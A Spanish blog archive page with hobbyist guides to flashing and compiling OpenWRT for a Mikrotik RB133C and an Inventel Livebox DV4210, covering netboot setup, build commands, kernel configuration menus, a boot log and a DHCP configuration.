Jun
08
2011
2

Portando OpenWRT a un Mikrotik RouterBoard RB133C



Hace unos días he conseguido ejecutar OpenWRT en un Mikrotik RouterBoard RB133C siguiendo las instrucciones que podemos leer en http://rb1xx.ozo.com/doku.php

Esto nos puede ser útil si hemos perdido la licencia porque hemos formateado la NAND y no hemos hecho copia de la misma, tal y como ha sido el caso, y pagar mas de 30€ por una licencia para esta placa hoy en dia ya no tiene sentido. Así que nos ponemos manos a la obra.

En mi caso he compilado todo desde cero con una version mas actualizada de OpenWRT de la que existe en la Web nombrada anteriormente, ya que necesitaba el driver ath5k del kernel y no lo encontraba en ningun paquete precompilado de OpenWRT ya que tiene que coincidir con la versión del kernel.

Guia rápida

Para los impacientes aqui tenemos una guía rapida. Conectamos el router por el puerto serie a nuestro PC a 115200, 8N1.

  • Actualiza la versión de firmware del RouterBOOT booter, el gestor de arranque de estos routers, con una versión 2.7 o mejor. En mi caso he llegado a probar con una 2.3 y funcionaba, pero puestos a actualizar actualizamos a la última version. Podemos bajarla desde aquí. Para actualizarla entramos en el setup de gestor de arranque y pulsamos la G para actualizar. En este momento podemos mandar la actualización del firmware en formato xmodem con la utilidad de Terminal que estemos utilizando. Una vez que se ha subido se auto-flashea y ya tenemos la nueva versión. Este proceso no tarda mas de un minuto.
  • Formateamos la NAND desde el RouterBOOT booter.
  • Descargamos la imagen netboot para arranque por red del RouterBoard. Necesitas un servidor DHCP y TFTP funcionales en la red donde especifiquemos en el DHCP quien es el servidor TFTP y cual es el archivo de arranque por red. Al final del documentos tendrás unos pasos muy básicos a seguir.
  • Selecciona en desde el menu del RouterBOOT booter que arranque por red y por DHCP en vez de BootP y reiniciamos. En este momento arrancará la imagen netboot y en pocos segundos tendremos OpenWRT en nuestro Mikrotik. En este punto es un arranque por red, asi que vamos a instalarlo.
  • Una vez arrancado necesitaras acceso a un servidor Web o conexion a Internet en el Mikrotik RB133C. Puedes configurarlo rapidamente con los siguientes comandos:
ifconfig eth0 172.16.0.10 netmask 255.255.255.0
route add default gw 172.16.0.1
echo "nameserver 8.8.8.8" > /etc/resolv.conf
  • mount /dev/mtdblock2 /mnt; cd /mnt; wget kernel
  • cd /; umount /mnt; mount /dev/mtdblock3 /mnt; cd /mnt; wget openwrt-adm5120-router_le-rootfs.tar.gz
  • tar zxvf openwrt-adm5120-router_le-rootfs.tar.gz; rm openwrt-adm5120-router_le-rootfs.tar.gz; cd /; umount /mnt; sync; reboot
  • Volvemos a entrar al setup del RouterBOOT y cambiamos el arranque de red a NAND y reiniciamos.
  • Ya tenemos nuestro RB133C funcionando con OpenWRT. Es una imagen muy básica, por lo que si te gusta y quieres mas tendras que compilarte tu una versión nueva.

 

Compilación desde el trunk de OpenWRT

En mi caso he utilizado Ubuntu 11.04 con el paquete basico de compilación (aptitude install build-essential). Una vez que tenemos todos los requisitos nos ponemos a bajar el fuente y a compilar.

En mi caso he utilizado la revisión 23709 de OpenWRT y un kernel 2.6.33.5 que cambie ya que la revisión que bajé por defecto usaba otro kernel.

cd /home/dev/rb133c
snv -r 23709 co svn://svn.openwrt.org/openwrt/trunk
cd trunk
svn co svn://svn.openwrt.org/openwrt/packages/
make pacakge/symlinks

Salimos del menú que nos aparece y editamos el archivo target/linux/adm5120/Makefile y cambiamos la línea donde dice que utiliza el kernel 2.6.32.24 por 2.6.33.5

Ejecutamos “make menuconfig” desde el trunk configuramos el tipo de placa que tenemos y elegimos los paquetes que queremos tener en nuestro RB133C. Una vez que hemos elegido, salimos salvando los cambios.

  • Target System > Infineon / ADMtek ADM5120
  • Subtarget > Little Endian
  • Target Profile > Mikrotik RouterBoard RB1xx family
  • Target Images > tar.gz

Ahora es hora de configurar el kernel correctamente, para ello ejecutamos “make kernel_menuconfig” y seleccionamos lo siguiente:

  • Machine Selection > System Type > Infineon / ADMtek ADM5120 SoC based machines
  • Machine Selection > ADM5120 Board selection > Mikrotik RouterBoard 1xx (Las que queramos… todas)

Aseguraros que el kernel tambien tiene activas las siguientes opciones, aunque deberian estarlo al seleccionar el tipo de procesador.

CONFIG_YAFFS_FS=y
CONFIG_YAFFS_YAFFS1=y
CONFIG_YAFFS_YAFFS2=y
CONFIG_YAFFS_AUTO_YAFFS2=y
CONFIG_YAFFS_CHECKPOINT_RESERVED_BLOCKS=10
CONFIG_YAFFS_SHORT_NAMES_IN_RAM=y
CONFIG_MTD_NAND=y
CONFIG_MTD_NAND_ECC_SMC=y
CONFIG_MTD_NAND_RB100=y
CONFIG_MTD_NAND_IDS=y
CONFIG_MTD=y
CONFIG_MTD_PARTITIONS=y
CONFIG_MTD_SPLIT_ROOTFS=y
CONFIG_MTD_CMDLINE_PARTS=y
CONFIG_MTD_MYLOADER_PARTS=y
CONFIG_MTD_CHAR=y
CONFIG_MTD_BLOCK=y
CONFIG_MTD_CFI=y
CONFIG_MTD_GEN_PROBE=y
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
CONFIG_MTD_CFI_AMDSTD=y
CONFIG_MTD_CFI_AMDSTD_FORCE_BOTTOM_BOOT=y
CONFIG_MTD_CFI_UTIL=y
CONFIG_MTD_COMPLEX_MAPPINGS=y
CONFIG_MTD_ADM5120=y
CONFIG_MTD_BLOCK2MTD=y

Una vez hecho esto empezamos a compilar con “make V=99” y esperamos un rato (de 1 a 2 horas, depende de tu CPU) a que acabe para poder probar nuestra compilación.

Una vez que ha acabado podemos encontrar el kernel en bin/adm5120/openwrt-adm5120-router_le-rb1xx-kernel y en sistema de archivos en bin/adm5120/openwrt-adm5120-router_le-rootfs.tar.gz que utilizaremos como en la guía rápida que esta mas arriba, pero en este caso en vez de con mi compilación, es un OpenWRT compilado por nosotros a nuestro gusto. Formateamos NAND, arrancamos con el netboot image, y copiamos kernel a mtdblock2 y el rootfs a mtdblock3.

Y ahora llega la hora de la verdad, si arranca o no. Creo que no me he saltado ningun paso, si tenéis alguna duda poned un post y revisad antes la pagina Web mencionada anteriormente que viene todo mucho mas detallado.

 

Log de arranque

RouterBOOT booter 2.7
 
RouterBoard 133C3
 
CPU frequency: 175 MHz
Memory size:  16 MB
 
Press any key within 2 seconds to enter setup..
loading kernel from nand... OK
setting up elf image... OK
jumping to kernel code
Linux version 2.6.33.5 (javier@gedeon) (gcc version 4.3.3 (GCC) ) #2 Sun May 8 12:40:09 CEST 2011
bootconsole [early0] enabled
CPU revision is: 0001800b (MIPS 4Kc)
SoC      : ADM5120 rev 8, running at 175.000 MHz
Bootdev  : NAND flash
Prom     : RouterBOOT
Determined physical RAM map:
memory: 01000000 @ 00000000 (usable)
Initrd not found or empty - disabling initrd
Zone PFN ranges:
Normal   0x00000000 -> 0x00001000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00001000
Built 1 zonelists in Zone order, mobility grouping off.  Total pages: 4064
Kernel command line:  console=ttyS0,115200 rootfstype=squashfs,yaffs2,jffs2
PID hash table entries: 64 (order: -4, 256 bytes)
Dentry cache hash table entries: 2048 (order: 1, 8192 bytes)
Inode-cache hash table entries: 1024 (order: 0, 4096 bytes)
Primary instruction cache 8kB, VIPT, 2-way, linesize 16 bytes.
Primary data cache 8kB, 2-way, VIPT, no aliases, linesize 16 bytes
Memory: 13588k/16384k available (2034k kernel code, 2796k reserved, 354k data, 152k init, 0k highmem)
NR_IRQS:24
Calibrating delay loop... 173.56 BogoMIPS (lpj=347136)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
MIPS: machine is Mikrotik RouterBOARD 133C
registering PCI controller with io_map_base unset
bio: create slab <bio-0> at 0
pci 0000:00:01.0: BAR 0: assigned [mem 0x11400000-0x1140ffff]
pci 0000:00:01.0: BAR 0: set to [mem 0x11400000-0x1140ffff] (PCI address [0x11400000-0x1140ffff]
PCI: mapping irq for 0000:00:01.0 pin:1, irq:14
Switching to clocksource MIPS
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 512 (order: 0, 4096 bytes)
TCP bind hash table entries: 512 (order: -1, 2048 bytes)
TCP: Hash tables configured (established 512 bind 512)
TCP reno registered
UDP hash table entries: 256 (order: 0, 4096 bytes)
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 1
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering mini_fo version $Id$
JFFS2 version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc.
yaffs May  7 2011 22:10:22 Installing.
msgmni has been set to 26
io scheduler noop registered
io scheduler deadline registered (default)
Serial: AMBA driver
apb:uart0: ttyS0 at MMIO 0x12600000 (irq = 9) is a AMBA
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
apb:uart1: ttyS1 at MMIO 0x12800000 (irq = 10) is a AMBA
adm5120-flash.0: probing at 0x1FC00000, size:128KiB, width:8 bits
Found: PMC Pm39LV010
adm5120-flash.0: Found 1 x8 devices at 0x0 in 8-bit bank
CFI mfr 0x0000009d
CFI id  0x0000001c
number of JEDEC chips: 1
adm5120-flash.0: found at 0x1FC00000, size:128KiB, width:8 bits
adm5120-flash.0: adding static partitions
Creating 2 MTD partitions on "adm5120-flash.0":
0x000000000000-0x000000010000 : "booter"
0x000000010000-0x000000020000 : "firmware"
NAND device: Manufacturer ID: 0xad, Chip ID: 0x76 (Hynix NAND 64MiB 3,3V 8-bit)
Scanning device for bad blocks
Creating 2 MTD partitions on "gen_nand":
0x000000000000-0x000000400000 : "kernel"
0x000000400000-0x000004000000 : "rootfs"
mtd: partition "rootfs" set to be root filesystem
split_squashfs: no squashfs found in "gen_nand"
ADM5120 built-in ethernet switch driver version 0.1.1
adm5120_wdt: Watchdog Timer version 0.1
TCP westwood registered
NET: Registered protocol family 17
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
trxsplit: searching TRX header in 'booter'
trxsplit: searching TRX header in 'firmware'
trxsplit: 'kernel' is not a NOR flash, skipped
trxsplit: 'rootfs' is not a NOR flash, skipped
yaffs: dev is 32505859 name is "mtdblock3"
yaffs: passed flags ""
yaffs: Attempting MTD mount on 31.3, "mtdblock3"
yaffs: auto selecting yaffs1
yaffs_read_super: isCheckpointed 0
VFS: Mounted root (yaffs2 filesystem) readonly on device 31:3.
Freeing unused kernel memory: 152k freed
Please be patient, while OpenWrt loads ...
gpio-buttons driver version 0.1.2
input: gpio-buttons as /devices/platform/gpio-buttons/input/input0
Button Hotplug driver version 0.4.1
- preinit -
Registered led device: power
Registered led device: user
Registered led device: lan1_speed
Registered led device: lan1_lnkact
Press the [f] key and hit [enter] to enter failsafe mode
- regular preinit -
- init -
 
Please press Enter to activate this console. device eth0 entered promiscuous mode
br-lan: port 1(eth0) entering forwarding state
Compat-wireless backport release: compat-wireless-2010-10-14-7-gab01eca
Backport based on wireless-testing.git master-2010-10-19
cfg80211: Calling CRDA to update world regulatory domain
cfg80211: World regulatory domain updated:
(start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)
(2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
(2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)
(2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)
(5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
(5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
PCI: Enabling device 0000:00:01.0 (0000 -> 0002)
ath5k 0000:00:01.0: registered as 'phy0'
Registered led device: ath5k-phy0::rx
Registered led device: ath5k-phy0::tx
ath5k phy0: Atheros AR5211 chip found (MAC: 0x42, PHY: 0x30)
ath5k phy0: RF5111 5GHz radio found (0x17)
ath5k phy0: RF2111 2GHz radio found (0x23)
Broadcom 43xx driver loaded [ Features: PL, GPIO LED Mask: 0x000f, Firmware-ID: FW13 ]
tun: Universal TUN/TAP device driver, 1.6
tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
ip_tables: (C) 2000-2006 Netfilter Core Team
nf_conntrack version 0.5.0 (214 buckets, 856 max)
CONFIG_NF_CT_ACCT is deprecated and will be removed soon. Please use
nf_conntrack.acct=1 kernel parameter, acct=1 nf_conntrack module option or
sysctl net.netfilter.nf_conntrack_acct=1 to enable it.
xt_time: kernel timezone is -0000
IMQ driver loaded successfully.
Hooking IMQ before NAT on PREROUTING.
Hooking IMQ after NAT on POSTROUTING.
ath_hal: module license 'Proprietary' taints kernel.
Disabling lock debugging due to kernel taint
ath_hal: 2009-05-08 (AR5210, AR5211, AR5212, AR5416, RF5111, RF5112, RF2413, RF5
413, RF2133, RF2425, REGOPS_FUNC, XR)
ath_pci: trunk
wlan: trunk
wlan: mac acl policy registered
ath_rate_minstrel: Minstrel automatic rate control algorithm 1.2 (trunk)
ath_rate_minstrel: look around rate set to 10%
ath_rate_minstrel: EWMA rolloff level set to 75%
ath_rate_minstrel: max segment size in the mrr set to 6000 us
adm5120_wdt: enabling watchdog timer
 
BusyBox v1.17.3 (2011-05-07 21:55:18 CEST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
 
_______                     ________        __
|       |.-----.-----.-----.|  |  |  |.----.|  |_
|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
|_______||   __|_____|__|__||________||__|  |____|
|__| W I R E L E S S   F R E E D O M
KAMIKAZE (bleeding edge, r23709) ------------------
* 10 oz Vodka       Shake well with ice and strain
* 10 oz Triple sec  mixture into 10 shot glasses.
* 10 oz lime juice  Salute!
---------------------------------------------------
root@rb133c:/#

 

Configuración rapida del DHCP para arrancar la imagen netboot

Si estas interesado en hacer esto, quiere decir que estas a una altura de compresión alto en estos temas, asi que no me voy a detener a explicar paso a paso como instalar un servidor DHCP y TFTP.

En mi caso he utilizado el propio DHCP y TFTP de un Mikrotik RB750G.

En Windows tienes una aplicación llamada Tftpd32 by Ph. Jounin que ya tiene servidor TFTP y DHCP incluido todo en uno. Configurandolo correctamente debería valerte.

En Linux, supondre que utilizas un servidor DHCP y TFTP estándar. Googleando hay mucha información de como configurar un servidor TFTP, es mas, puede que con instalarlo ya este funcionando, todo depende de la distro que poseas y demas.

En DHCP, los parámetros básicos serian los siguientes:

default-lease-time 21600;
max-lease-time 2100;
host rb133 {
  hardware ethernet 1A:2B:3C:4D:5E:6F;
  filename "/openwrt-adm5120-2.6-vmlinux.elf";  // Archivo de imagen netboot
  fixed-address 172.16.0.10;
  }
subnet 172.16.0.0 netmask 255.255.255.0 {
  option subnet-mask 255.255.255.0;
  next-server 172.16.0.2;  // Servidor TFTP donde ubiques el archivo de imagen netboot
  option broadcast-address 172.16.0.255;
  option routers 172.16.0.1;
  }

 

Written by Javier Rodriguez in: Mikrotik,Programacion,Redes | Etiquetas: , , , ,
Nov
27
2009
26

OpenWRT en Inventel Livebox DV4210 (Parte 3/3) – Compilación



GRANDISIMA NOTICIA

Imprescindible visitar la pagina de danitool. Tiene nueva informacion de como poder utilizar la eth1 y muchisimos cambios mas.

Este HOWTO como el anterior estan basados en la pagina web de danitool. No olvides visitar su pagina web.


Para compilar nuestro propio OpenWRT vamos a utilizar como sistema Debian/Ubuntu o similares, y debemos instalar svn gcc g++ binutils patch make automake gettext pkg-config unzip bzip2 flex bison libz-dev quilt gawk flex libncurses-dev con el siguiente comando como root:


apt-get install subversion gcc g++ binutils patch make automake gettext pkg-config unzip bzip2 flex bison libz-dev quilt gawk flex build-essential libncurses5-dev

Crea un directorio “kamikaze” en algun lugar del disco y ejecuta lo siguiente:


svn -r r18454 co svn://svn.openwrt.org/openwrt/trunk/
svn co svn://svn.openwrt.org/openwrt/packages/
mv packages trunk/feeds
cd trunk
make packages/symlinks

Bajate este archivo, descomprimelo y copia el patch del kernel de Ruff 046-cramfs_endianness.patch ./trunk/target/linux/brcm63xx/patches-2.6.30 en para habilitar cramfs.

Ahora vamos a configurar nuestro OpenWRT, para ello tecleamos:


make menuconfig

Despues, busca por los menus y dejalo como lo siguiente, tambien puedes añadir aplicaciones si lo deseas:

   ┌────────────────────────── Target System ───────────────────────────┐
   │  Use the arrow keys to navigate this window or press the hotkey of │
   │  the item you wish to select followed by the <SPACE BAR>. Press    │
   │  <?> for additional information about this option.                 │
   │ ┌───────────────────^(-)─────────────────────────────────────────┐ │
   │ │               ( ) Atheros AR231x/AR5312                        │ │
   │ │               ( ) Atheros AR71xx/AR7240/AR913x                 │ │
   │ │               ( ) Atmel AVR32                                  │ │
   │ │               (X) Broadcom BCM63xx                             │ │
   │ │               ( ) Broadcom BCM947xx/953xx                      │ │
   │ │               ( ) Broadcom BCM947xx/953xx [2.4]                │ │
   │ └───────────────────v(+)─────────────────────────────────────────┘ │
   ├────────────────────────────────────────────────────────────────────┤
   │                       <Select>    < Help >                         │
   └────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────── Target Images ──────────────────────────┐
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ [ ] ramdisk (NEW)                                                  │ │
│ │ [ ] jffs2                                                          │ │
│ │ [*] squashfs (NEW)                                                 │ │
│ │ [*] tgz                                                            │ │
│ │ [ ] cpiogz (NEW)                                                   │ │
│ │ [ ] ext2 (NEW)                                                     │ │
│ └─v(+)───────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│                      <Select>    < Exit >    < Help >                  │
└────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────────── Other modules ────────────────────────────┐
│ ┌─^(-)───────────────────────────────────────────────────────────────────┐ │
│ │ < > kmod-ledtrig-netdev.............................. LED NETDEV Trigge│ │
│ │ < > kmod-mmc........................................ MMC/SD Card Suppor│ │
│ │ < > kmod-mmc-over-gpio.................... MMC/SD card over GPIO suppor│ │
│ │ < > kmod-pcmcia-core............................. PCMCIA/CardBus suppor│ │
│ │ < > kmod-pcspkr...................................... PC speaker suppor│ │
│ │ < > kmod-softdog............................... Software watchdog drive│ │
│ │ < > kmod-switch.......................................... Switch driver│ │
│ │ < > kmod-textsearch.............Textsearch support is selected if neede│ │
│ └────────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────────┤
│                   <Select>    < Exit >    < Help >                         │
└────────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────── USB Support ──────────────────────────────┐
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ <*> kmod-usb-core................................... Support for US│ │
│ │ < >   kmod-usb-acm................ Support for modems/isdn controll│ │
│ │ < >   kmod-usb-atm......................... Support for ATM on USB │ │
│ │ <*>   kmod-usb-audio.................... Support for USB audio devi│ │
│ │ < >   kmod-usb-cm109......................... Support for CM109 dev│ │
│ │ < >   kmod-usb-hid................ Support for USB Human Input Devi│ │
│ │ < >   kmod-usb-net...... Kernel modules for USB-to-Ethernet convert│ │
│ │ <*>   kmod-usb-ohci...................... Support for OHCI controll│ │
│ │ < >   kmod-usb-phidget............................. USB Phidget Dri│ │
│ │ < >   kmod-usb-printer........................... Support for print│ │
│ │ < >   kmod-usb-serial............ Support for USB-to-Serial convert│ │
│ │ < >   kmod-usb-storage............................ USB Storage supp│ │
│ │ < >   kmod-usb-uhci...................... Support for UHCI controll│ │
│ │ < >   kmod-usb-video.................... Support for USB video devi│ │
│ │ < >   kmod-usb-yealink......................... USB Yealink VOIP ph│ │
│ │ < >   kmod-usb2.......................... Support for USB2 controll│ │
│ └────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│                    <Select>    < Exit >    < Help >                    │
└────────────────────────────────────────────────────────────────────────┘

Ahora sale y guarda la configuracion y escribe lo siguiente:


make kernel_menuconfig

Y configura las siguientes ventanas como estan.

┌────────────────────────────── CPU support ───────────────────────────────┐
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │    [ ] support 6338 CPU                                              │ │
│ │    [ ] support 6345 CPU                                              │ │
│ │    [*] support 6348 CPU                                              │ │
│ │    [ ] support 6358 CPU                                              │ │
│ │                                                                      │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
├──────────────────────────────────────────────────────────────────────────┤
│                     <Select>    < Exit >    < Help >                     │
└──────────────────────────────────────────────────────────────────────────┘

  ┌────────────────────────── Board support ───────────────────────────┐
  │ ┌────────────────────────────────────────────────────────────────┐ │
  │ │               ( ) Generic Broadcom 963xx boards                │ │
  │ │               (X) Inventel Livebox(es) boards                  │ │
  │ │                                                                │ │
  │ └────────────────────────────────────────────────────────────────┘ │
  ├────────────────────────────────────────────────────────────────────┤
  │                       <Select>      < Help >                       │
  └────────────────────────────────────────────────────────────────────┘

┌──────────────────── Memory Technology Device (MTD) support ────────────────┐
│ ┌────────────────────────────────────────────────────────────────────────┐ │
│ │    --- Memory Technology Device (MTD) support                          │ │
│ │    [ ]   Debugging                                                     │ │
│ │    <*>   MTD concatenating support                                     │ │
│ │    [*]   MTD partitioning support                                      │ │
│ │    < >   MTD tests support                                             │ │
│ │    [*]   Automatically set 'rootfs' partition to be root filesystem    │ │
│ │    [*]   Automatically split 'rootfs' partition for squashfs           │ │
│ │    <*>   RedBoot partition table parsing                               │ │
│ │    (-1)    Location of RedBoot partition table                         │ │
│ │    [*]     Include unallocated flash regions                           │ │
│ │    [*]     Force read-only for RedBoot system images                   │ │
│ │    [*]   Command line partition table parsing                          │ │
│ │    < >   TI AR7 partitioning support                                   │ │
│ │          *** User Modules And Translation Layers ***                   │ │
│ │    <*>   Direct char device access to MTD devices                      │ │
│ │    -*-   Common interface to block layer for MTD 'translation layers   │ │
│ │    <*>   Caching block device access to MTD devices                    │ │
│ │    < >   FTL (Flash Translation Layer) support                         │ │
│ │    < >   NFTL (NAND Flash Translation Layer) support                   │ │
│ │    < >   INFTL (Inverse NAND Flash Translation Layer) support          │ │
│ │    < >   Resident Flash Disk (Flash Translation Layer) support         │ │
│ │    < >   NAND SSFDC (SmartMedia) read only translation layer           │ │
│ │    < >   Log panic/oops to an MTD buffer                               │ │
│ │          RAM/ROM/Flash chip drivers  --->                              │ │
│ │          Mapping drivers for chip access  --->                         │ │
│ │          Self-contained MTD device drivers  --->                       │ │
│ │    < >   NAND Device Support  --->                                     │ │
│ │    < >   OneNAND Device Support  --->                                  │ │
│ │          LPDDR flash memory drivers  --->                              │ │
│ │          UBI - Unsorted block images  --->                             │ │
│ └────────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                    │
└────────────────────────────────────────────────────────────────────────────┘

  ┌────────────────────── RAM/ROM/Flash chip drivers ───────────────────────┐
  │ ┌─────────────────────────────────────────────────────────────────────┐ │
  │ │    <*> Detect flash chips by Common Flash Interface (CFI) probe     │ │
  │ │    <*> Detect non-CFI AMD/JEDEC-compatible flash chips              │ │
  │ │    [*] Flash chip driver advanced configuration options             │ │
  │ │          Flash cmd/query data swapping (NO)  --->                   │ │
  │ │    [*]   Specific CFI Flash geometry selection                      │ │
  │ │    [*]     Support  8-bit buswidth                                  │ │
  │ │    [*]     Support 16-bit buswidth                                  │ │
  │ │    [ ]     Support 32-bit buswidth                                  │ │
  │ │    [ ]     Support 64-bit buswidth                                  │ │
  │ │    [ ]     Support 128-bit buswidth                                 │ │
  │ │    [ ]     Support 256-bit buswidth                                 │ │
  │ │    [*]     Support 1-chip flash interleave                          │ │
  │ │    [ ]     Support 2-chip flash interleave                          │ │
  │ │    [ ]     Support 4-chip flash interleave                          │ │
  │ │    [ ]     Support 8-chip flash interleave                          │ │
  │ │    [ ]   Protection Registers aka one-time programmable (OTP) bits  │ │
  │ │    < > Support for Intel/Sharp flash chips                          │ │
  │ │    <*> Support for AMD/Fujitsu/Spansion flash chips                 │ │
  │ │    < > Support for ST (Advanced Architecture) flash chips           │ │
  │ │    < > Support for RAM chips in bus mapping                         │ │
  │ │    < > Support for ROM chips in bus mapping                         │ │
  │ │    < > Support for absent chips in bus mapping                      │ │
  │ └─────────────────────────────────────────────────────────────────────┘ │
  ├─────────────────────────────────────────────────────────────────────────┤
  │                    <Select>    < Exit >    < Help >                     │
  └─────────────────────────────────────────────────────────────────────────┘

LO SIGUIENTE ES IMPORTANTE:

┌────────────────────── Mapping drivers for chip access ───────────────────┐
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │    [*] Support non-linear mappings of flash chips                    │ │
│ │    <*> Flash device in physical memory map                           │ │
│ │    [*]   Physmap compat support                                      │ │
│ │    (0x1e400000) Physical start address of flash mapping              │ │
│ │    (0x00800000) Physical length of flash mapping                     │ │
│ │    (2)     Bank width in octets (NEW)                                │ │
│ │    < > BCM963xx Flash device                                         │ │
│ │    < > PCI MTD driver                                                │ │
│ │    < > NOR flash on Intel Vermilion Range Expansion Bus CS0          │ │
│ │    < > Map driver for platform device RAM (mtd-ram)                  │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
├──────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                  │
└──────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────────── USB support ─────────────────────────────┐
│ ┌───────────────────────────────────────────────────────────────────────┐ │
│ │    --- USB support                                                    │ │
│ │    <*>   Support for Host-side USB                                    │ │
│ │    [ ]     USB verbose debug messages                                 │ │
│ │    [ ]     USB announce new devices                                   │ │
│ │            *** Miscellaneous USB options ***                          │ │
│ │    [*]     USB device filesystem                                      │ │
│ │    [ ]     USB device class-devices (DEPRECATED)                      │ │
│ │    [ ]     Dynamic USB minor allocation                               │ │
│ │    [ ]     Rely on OTG Targeted Peripherals List                      │ │
│ │    [ ]     Disable external hubs                                      │ │
│ │    < >     USB Monitor                                                │ │
│ │    < >     Enable Wireless USB extensions (EXPERIMENTAL)              │ │
│ │    < >     Support WUSB Cable Based Association (CBA)                 │ │
│ │            *** USB Host Controller Drivers ***                        │ │
│ │    < >     Cypress C67x00 HCD support                                 │ │
│ │    < >     EHCI HCD (USB 2.0) support (NEW)                           │ │
│ │    < >     OXU210HP HCD support                                       │ │
│ │    < >     ISP116X HCD support                                        │ │
│ │    < >     ISP 1760 HCD support                                       │ │
│ │    <*>     OHCI HCD support                                           │ │
│ │    [ ]       OHCI support for Broadcom SSB OHCI core                  │ │
│ │    < >     UHCI HCD (most Intel and VIA) support (NEW)                │ │
│ │    < >     SL811HS HCD support                                        │ │
│ │    < >     R8A66597 HCD support                                       │ │
│ └────v(+)───────────────────────────────────────────────────────────────┘ │
├───────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                   │
└───────────────────────────────────────────────────────────────────────────┘

┌───────────────────── Default kernel command string ─────────────────────────────────────┐
│  Please enter a string value. Use the <TAB> key to move from the input                  │
│  field to the buttons below it.                                                         │
│ ┌─────────────────────────────────────────────────────────────────────────────────────┐ │
│ │root=/dev/mtdblock1 rootfstype=cramfs,squashfs init=/etc/preinit console=ttyS0,115200│ │
│ └─────────────────────────────────────────────────────────────────────────────────────┘ │
│                                                                                         │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                         <  Ok  >      < Help >                                          │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Ahora sale y guarda la configuracion y compilalo con el siguiente comando:


make V=99

Una vez acabada la compilacion (que tardara bastante ya que tiene que bajar archivos gordos y compilarlos…), copia el resto de ficheros que hemos bajado antes (mkcramfs, etccramfs y network) al directorio “kamikaze”. Edita el archivo network con tus preferencias de red y da permisos de ejecucion a mkcramfs, a etccramfs y a kamk.sh con:

chmod +x mkcramfs
chmod +x etccramfs
chmod +x kamk.sh

Ejecuta el siguiente comando:


./kamk.sh

Y en unos momentos ya tenemos nuestro archivo openwrt.cramfs listo para poner en el TFTP y cargarlo nuevamente tal y como se ha explicado en el articulo anterior a este.

Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,
Nov
26
2009
2

OpenWRT en Inventel Livebox DV4210 (Parte 2/3) – Instalación


ATENCIÓN: Los siguientes pasos si no se realizan correctamente podrían dañar por completo tu router (y aun esta por determinar, que aunque lo hagas bien pueda fallar). Úsalo solo como proposito experimental y bajo tu propia responsabilidad. Una cosa que debemos tener clara es que de momento este router no se puede volver a utilizar como router ADSL a no ser que sepas mucho lo que haces.

Me he guiado con el HOW-TO de danitool para instalar OpenWRT en el Livebox y me ha funcionado con autentico éxito. Esta entrada es una traducción con alguna modificación (de experiencia propia) de su post original.

Este HOWTO es una continuacion de la entrada anterior y deberias leerla para aclarar la configuración de red que estamos utilizando.


IP Router: 192.168.1.1
IP Ordenador: 192.168.1.2


Lo primero que necesitamos es tener acceso por Telnet al Livebox. De esto ya hemos hablado en este blog en la entrada OpenWRT en Inventel Livebox DV4210 (Parte 1/3) – Liberación. Tambien necesitamos acceso sobre el puerto serie al Livebox, el cual vamos a explicar aqui como realizarlo. Para avanzar un poco aclarar que es un cable especial (la mayoria de los routers tienen un puerto serie y OpenWRT se carga mendiante comandos escritos por el puerto serie). Yo he usado un MAX3232 (que se puede encontrar en cualquier tienda de electronica por no mucho dinero) aunque se pueden utilizar cables de conexión al telefono movil que tengan un adaptador de USB a serie RS232. Lo mas importante es identificar las patillas TX, RX y GND de ese cable. El software para controlar el router por el puerto serie puede ser el CuteCom de Linux o el Hyperterminal de Windows.

Este es el esquema de nuestro objetivo: SoC BCM6348

SoC BCM 6348

Para conectar este cable tenemos varias opciones.

  • Conseguir un conector MMJ tipo DEC para conectarlo al conector blanco.
  • Desmontar el router y soldar directamente en placa en el conector blanco.

MMJ tipo DEC

